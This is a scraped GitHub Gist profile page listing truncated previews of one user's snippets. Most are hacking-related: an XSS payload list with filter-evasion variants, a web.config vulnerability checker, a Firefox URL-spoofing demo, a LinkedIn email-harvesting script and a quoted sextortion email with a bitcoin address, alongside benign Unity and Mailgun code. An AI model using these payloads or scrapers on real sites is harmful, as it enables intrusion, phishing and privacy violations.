Skip to content

Instantly share code, notes, and snippets.

Avatar
🏠
Working from home

Mr. Cl0wn - H4ck1ng C0d3r MrCl0wnLab

🏠
Working from home
View GitHub Profile
@MrCl0wnLab
MrCl0wnLab / checker_vuln_web.config.py
Last active Aug 5, 2020
Thanks @bminossi for sharing the exploration trick
View checker_vuln_web.config.py
import os
import sys
import requests
import urllib3
from requests.exceptions import Timeout
urllib3.disable_warnings()
if sys.argv[1]:
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"}
View URL Spoofing_firefox.html
<!DOCTYPE HTML>
<html lang="en-US">
<head>
<meta charset="UTF-8">
<title>URL Spoofing</title>
<style>
*{font-family:Mukta,sans-serif;color:#3b3b3b}small{color:gray;font-weight:400;font-style:italic;font-size:16px;margin-top:-20px;display:block;margin-bottom:30px}small strong{font-weight:600;font-size:18px;color:inherit}h2{margin-top:40px;color:#424242}
</style>
<script>
onload = function() {
@MrCl0wnLab
MrCl0wnLab / Get_thumbnail_src_from_Instagram.html
Last active Jun 26, 2020
Get thumbnail_src from Instagram
View Get_thumbnail_src_from_Instagram.html
<!DOCTYPE html>
<html>
<head>
<script data-require="jquery@3.0.0" data-semver="3.0.0" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.0.0/jquery.js"></script>
<script src="script.js"></script>
<link href="style.css" rel="stylesheet">
</head>
<body>
@MrCl0wnLab
MrCl0wnLab / Sender-mailgun.php
Created Apr 16, 2020
Exemplo de uso Class PHP criada para envio simples de email via API Mailgun
View Sender-mailgun.php
<?php
require_once('SenderMailgun.php');
# Open file key
$key = file_get_contents('key');
# Instantiate the client.
SenderMailgun::$api_key = $key;
# Data params email.
@MrCl0wnLab
MrCl0wnLab / blackmail.txt
Created Apr 14, 2020
Body Web Sextortion (webcam blackmail) / Anti-Grep
View blackmail.txt
---------- Forwarded message ---------
De: Jeanlou Zanella <huocleavlanddk@outlook.com>
Date: seg., 13 de abr. de 2020 às 16:35
Subject: jessiXXXXXXXXX : 44244JE
To: jessiXXXXXXXXX@gmail.com <jessiXXXXXXXXX@gmail.com>
Pa𝗒 $10𝟢𝟢 𝗂𝗇 𝖻tc 𝗍𝗈 𝗍𝗁𝖾 𝖽own 𝖻𝖾𝗅𝗈w 𝖺dd𝗋es𝗌:
bc1***qjma8cz8ry8lr5x3zc8w44cwthstxknr4lpzsdk
@MrCl0wnLab
MrCl0wnLab / file.txt
Last active Mar 1, 2020
Arquivo para estudo de Scan XSS
View file.txt
<script>alert(0)</script>
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
@MrCl0wnLab
MrCl0wnLab / cadastro.py
Last active Feb 11, 2020
Estudo Python: Mini sistema de sorteio, Gera tickets para cada nome cadastrado em data_sorteio.
View cadastro.py
from random import shuffle
class Cadastro:
''' Recebe um cpf e gera um objeto Cadastro que possui um atributo para
guardar o ticket definido a partir do cpf passado.
'''
def __init__(self, cpf):
self.ticket = self.ticket_generator(cpf)
@MrCl0wnLab
MrCl0wnLab / Movimentacao.cs
Created Jan 9, 2020
Script movimentação de personagem Unity3D
View Movimentacao.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class Movimentacao : MonoBehaviour
{
public Rigidbody rb;
public Animator anim;
public float moveSpeed = 20.0f;
@MrCl0wnLab
MrCl0wnLab / PHPProxyRequest.php
Created Sep 10, 2019
Uso de proxy random em request
View PHPProxyRequest.php
<?php
error_reporting(0);
set_time_limit(0);
ini_set('memory_limit', '1024M');
ini_set('display_errors', 0);
ini_set('max_execution_time', 0);
ini_set('allow_url_fopen', 1);
(!isset($_SESSION) ? session_start() : NULL);
@MrCl0wnLab
MrCl0wnLab / GatheringEmailLinkedin.php
Last active Feb 6, 2020
Email Information Gathering in Post Linkedin
View GatheringEmailLinkedin.php
<?php
$targets = array_unique(explode("\n",file_get_contents("posts.targets")));
$user_agent = 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0';
foreach ($targets as $key => $url_target) {
#REQUEST PEGANDO ID
exec("curl -kg --user-agent '{$user_agent}' '{$url_target}'>tmp");
#GREP ID
You can’t perform that action at this time.